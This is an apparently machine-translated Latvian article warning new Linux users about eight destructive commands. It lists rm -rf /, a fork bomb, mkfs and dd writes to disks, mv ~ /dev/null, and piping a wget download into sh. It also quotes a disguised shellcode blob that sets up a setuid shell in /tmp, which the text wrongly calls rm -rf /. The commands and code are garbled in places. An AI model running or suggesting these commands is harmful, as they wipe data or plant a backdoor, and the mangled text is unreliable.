Mājas lapa » » 8 Nāvīgas komandas Jums nekad nevajadzētu palaist Linux

    8 Nāvīgas komandas Jums nekad nevajadzētu palaist Linux

    Linux termināla komandas ir spēcīgas, un Linux neprasīs apstiprinājumu, ja palaidīsit komandu, kas izjauks jūsu sistēmu. Tas nav nekas neparasts redzēt trolls tiešsaistē, iesakot jaunus Linux lietotājus palaist šīs komandas kā joks.

    Mācības, kuras jums nevajadzētu palaist, var palīdzēt aizsargāt jūs no troļļiem, vienlaikus palielinot izpratni par Linux darbību. Tas nav izsmeļošs ceļvedis, un komandas šeit var pārveidot dažādos veidos.

    Ņemiet vērā, ka daudzas no šīm komandām būs bīstamas tikai tad, ja tās būs pievienotas sudo uz Ubuntu - viņi nestrādās citādi. Citos Linux izplatījumos lielākā daļa komandu ir jāuzsāk kā root.

    Image Credit: Skull un Crossbones remixēti no Jason Ford uz čivināt

    rm -rf / - dzēš visu!

    Komanda rm -rf / dzēš visu, kas iespējams, ieskaitot failus cietajā diskā un failus savienotajās noņemamās datu nesējās ierīcēs. Šī komanda ir saprotamāka, ja tā ir sadalīta:

    rm - Noņemiet šādus failus.

    -rf - Palaidiet rm rekursīvi (izdzēsiet visus failus un mapes norādītajā mapē) un piespiediet noņemt visus failus, neprasot jums.

    / - Stāsta rm sākt saknes direktorijā, kurā ir visi datorā esošie faili un visas uzstādītās multivides ierīces, tostarp attālās failu kopijas un noņemami diskdziņi.

    Linux laimīgi paklausīs šai komandai un izdzēsīs visu, neprasot jums, tāpēc esiet uzmanīgi, lietojot to! Rm komandu var izmantot arī citos bīstamos veidos - rm -rf ~ visi faili jūsu mājas mapē tiktu dzēsti rm -rf. * izdzēsīs visus jūsu konfigurācijas failus.

    Mācība: Sargieties rm -rf.

    Slēpts rm -rf /

    Šeit ir vēl viens koda fragments, kas ir pieejams tīmeklī:

    char esp [] __attribute__ ((sadaļa („. teksts”))) / * e.s.p
    atbrīvot * /
    = X x x x x xb x31 xc0 x50 x54 x5a x83 xec x64 x68 "
    Xff xff xff xff x68 xdf x0 xd9 x68 x8d x99 ”
    Xdf x81 x68 x8d x92 xdf xd2 x54 x5e xf7 x16 xf7 ”
    X56 x04 xf7 x56 x08 xf7 x56 x0c x83 xc4 x74 x56 "
    "X8d x73 x08 x56 x53 x54 x59 xb0 x0b xd x80 x31"
    Xx x40 xeb xf9 x8 xd xff xff xff x2f x62 x69 "
    X6e x2f x73 x68 x00 x2d x63 x00 "
    “Cp -p / bin / sh /tmp/.beyond; chmod 4755
    /tmp/.beyond; ”;

    Tas ir rm -rf / - izpildot šo komandu, tiktu izdzēsti jūsu faili, it kā jums būtu palaist rm -rf /.

    Mācība: Nelietojiet dīvaini skatāmas, acīmredzami slēptas komandas, kuras jūs nesaprotat.

    : () : |: & ;: - dakšu bumba

    Šī rindiņa ir vienkārša, bet bīstama bash funkcija:

    : () : |: & ;:

    Šī īsa līnija definē apvalka funkciju, kas rada jaunas kopijas. Process nepārtraukti atkārtojas, un tā kopijas pastāvīgi atkārtojas, ātri pārņemot visu jūsu CPU laiku un atmiņu. Tas var izraisīt datora iesaldēšanu. Tas būtībā ir pakalpojuma atteikuma uzbrukums.

    Mācība: Bash funkcijas ir spēcīgas, pat ļoti īsas.

    Attēla kredīts: Dake Wikimedia Commons

    mkfs.ext4 / dev / sda1 - formatē cieto disku

    The mkfs.ext4 / dev / sda1 komandu ir viegli saprast:

    mkfs.ext4 - Izveidojiet jaunu ext4 failu sistēmu šādā ierīcē.

    / dev / sda1 - Norāda pirmo nodalījumu pirmajā cietajā diskā, kas, iespējams, tiek izmantots.

    Kopā šī komanda var būt līdzvērtīga darbības formātam c: Windows - tā noslaucīs failus jūsu pirmajā nodalījumā un aizstās tos ar jaunu failu sistēmu.

    Šī komanda var būt arī citās formās - mkfs.ext3 / dev / sdb2 formatētu otro cieto disku otro nodalījumu ar ext3 failu sistēmu.

    Mācība: Uzmanieties, lai komandas darbotos tieši uz cietā diska ierīcēm, kas sākas ar / dev / sd.

    komanda> / dev / sda - tieši raksta cietajā diskā

    The komanda> / dev / sda līnija darbojas līdzīgi - tā vada komandu un nosūta šīs komandas izlaidi tieši pirmajam cietajam diskam, rakstot datus tieši cietajā diskā un bojājot failu sistēmu.

    komandu - Palaidiet komandu (var būt jebkura komanda).

    > - Nosūtiet komandas izvadi uz šādu vietu.

    / dev / sda - Ierakstiet komandas izvadi tieši cietā diska ierīcē.

    Mācība: Tāpat kā iepriekš, piesargāties no komandām, kas ietver cieto disku ierīces, sākot ar / dev / sd.

    dd if = / dev / random of = / dev / sda - ieraksta nevēlamu cieto disku

    The dd if = / dev / izlases = = dev / sda līnija arī izdzēsīs datus par vienu no jūsu cietajiem diskiem.

    dd - Veiciet zema līmeņa kopēšanu no vienas vietas uz citu.

    ja = / dev / izlases - Izmantojiet / dev / random (izlases datus) kā ievades metodi - jūs varat arī redzēt atrašanās vietas, piemēram, / dev / nulles (nulles).

    no = / dev / sda - Izeja uz pirmo cieto disku, aizstājot tās failu sistēmu ar nejaušiem atkritumu datiem.

    Mācība: dd kopē datus no vienas vietas uz citu, kas var būt bīstami, ja kopējat tieši uz ierīci.

    Image Credit: Matt Rudge par Flickr

    mv ~ / dev / null - Pārvieto jūsu Home Directory uz Black Hole

    / dev / null ir vēl viena īpaša atrašanās vieta - kaut kas pārvietojas uz / dev / null ir tas pats, kas to iznīcina. Domājiet par / dev / null kā melnu caurumu. Būtībā, mv ~ / dev / null nosūta visus jūsu personīgos failus melnajā caurumā.

    mv - Pārvietojiet šādu failu vai direktoriju uz citu vietu.

    ~ - Pārstāv jūsu visu mājas mapi.

    / dev / null - Pārvietojiet savu mājas mapi uz / dev / null, iznīcinot visus failus un dzēšot oriģinālos eksemplārus.

    Mācība: ~ Rakstzīme pārstāv jūsu mājas mapi un pārvieto lietas uz / dev / null tos iznīcina.

    wget http://example.com/something -O - | sh - lejupielādes un skripta izpilde

    Iepriekš minētā rinda lejupielādē skriptu no tīmekļa un nosūta to sh, kas izpilda skripta saturu. Tas var būt bīstami, ja neesat pārliecināts, kas ir skripts, vai arī, ja neesat uzticējies tās avotam - nedarbiniet neuzticamus skriptus.

    wget - Lejupielādē failu. (Varat arī redzēt saķeri vietā wget.)

    http://example.com/something - Lejupielādējiet failu no šīs vietas.

    | - Cauruļvada (nosūtiet) wget komandas izvadi (lejupielādēto failu) tieši uz citu komandu.

    sh - Nosūtiet failu sh komandai, kas to izpilda, ja tas ir bash skripts.

    Mācība: Neielādējiet un neizpildiet neticamus skriptus no tīmekļa, pat ar komandu.


    Zināt jebkuras citas bīstamas komandas, kuras nevajadzētu darboties jauniem (un pieredzējušiem) Linux lietotājiem? Atstājiet komentāru un kopīgojiet tos!